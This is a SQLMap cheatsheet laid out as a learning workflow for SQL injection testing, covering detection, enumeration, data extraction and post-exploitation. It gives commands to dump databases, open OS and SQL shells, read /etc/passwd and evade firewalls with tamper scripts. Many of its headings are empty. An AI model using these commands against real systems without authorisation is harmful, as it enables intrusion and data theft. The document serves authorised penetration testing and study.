SQLMap Cheatsheet

Overview

SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. It supports a wide range of database management systems and injection techniques.


Core Syntax

sqlmap [options] -u "URL" 
sqlmap [options] -r request.txt

Learning Workflow

Phase 1: Detection — Identify injectable parameters Phase 2: Enumeration — Map the database structure Phase 3: Extraction — Retrieve data from targets Phase 4: Advanced — Evasion, optimisation, and post-exploitation


Phase 1: Detection & Basic Testing

Target Specification

# URL with parameter (mark injectable param with *)
sqlmap -u "http://target.com/page.php?id=1"
sqlmap -u "http://target.com/page.php?id=1*&category=2"

# From Burp/ZAP saved request file
sqlmap -r request.txt

# Parse targets from sitemap
sqlmap -x "http://target.com/sitemap.xml"

# Direct database connection (for post-exploitation)
sqlmap -d "mysql://user:pass@target:3306/dbname"

Request Methods

Detection Options

Injection Techniques (--technique)

Letter
Technique
Description

B

Boolean-based blind

Infers data from true/false responses

E

Error-based

Extracts data from error messages

U

Union query-based

Uses UNION SELECT to retrieve data

S

Stacked queries

Executes multiple statements (;)

T

Time-based blind

Infers data from response delays

Q

Inline queries

Nested queries within other statements

Quick Detection Scan


Phase 2: Enumeration

Database Fingerprinting

Information Gathering

Schema Enumeration

Standard Enumeration Workflow


Phase 3: Data Extraction

Dumping Data

Password Handling

Search Functions

Output Formats


Phase 4: Advanced Techniques

Authentication

Proxy & Traffic

Evasion Techniques

Common Tamper Scripts

Script
Purpose

space2comment

Replace spaces with /**/

space2plus

Replace spaces with +

space2randomblank

Replace spaces with random whitespace

between

Replace > with NOT BETWEEN 0 AND

randomcase

Randomize character case

charencode

URL-encode characters

base64encode

Base64 encode payload

equaltolike

Replace = with LIKE

greatest

Replace > with GREATEST

apostrophemask

Replace ' with UTF-8 equivalent

percentage

Add % between characters

Performance Optimization


Post-Exploitation

File System Access

OS Command Execution

Database Interaction

Privilege Escalation


Workflow Examples

Full Assessment Workflow

Testing From Burp Request

WAF Bypass Workflow


Session Management


Useful Flag Combinations

Quick Detection

Stealth Mode

Maximum Detection

Full Dump

Through Burp Proxy


Quick Reference Card

Task
Command

Basic test

sqlmap -u "URL" --batch

From request file

sqlmap -r req.txt --batch

List databases

sqlmap -u "URL" --dbs

List tables

sqlmap -u "URL" -D db --tables

List columns

sqlmap -u "URL" -D db -T tbl --columns

Dump table

sqlmap -u "URL" -D db -T tbl --dump

Get shell

sqlmap -u "URL" --os-shell

SQL shell

sqlmap -u "URL" --sql-shell

Current user

sqlmap -u "URL" --current-user

Check DBA

sqlmap -u "URL" --is-dba

Read file

sqlmap -u "URL" --file-read="/etc/passwd"

Use proxy

sqlmap -u "URL" --proxy="http://127.0.0.1:8080"

Bypass WAF

sqlmap -u "URL" --tamper=space2comment --random-agent

Max detection

sqlmap -u "URL" --level=5 --risk=3


Common Issues & Fixes

Issue
Solution

No injection found

Increase --level and --risk

WAF blocking

Add --tamper scripts and --random-agent

Session timeout

Use --safe-url with --safe-freq

Slow extraction

Increase --threads, use --technique=E,U

False positives

Use --string or --regexp to define true condition

HTTPS errors

Add --force-ssl

Connection issues

Adjust --timeout and --retries

Last updated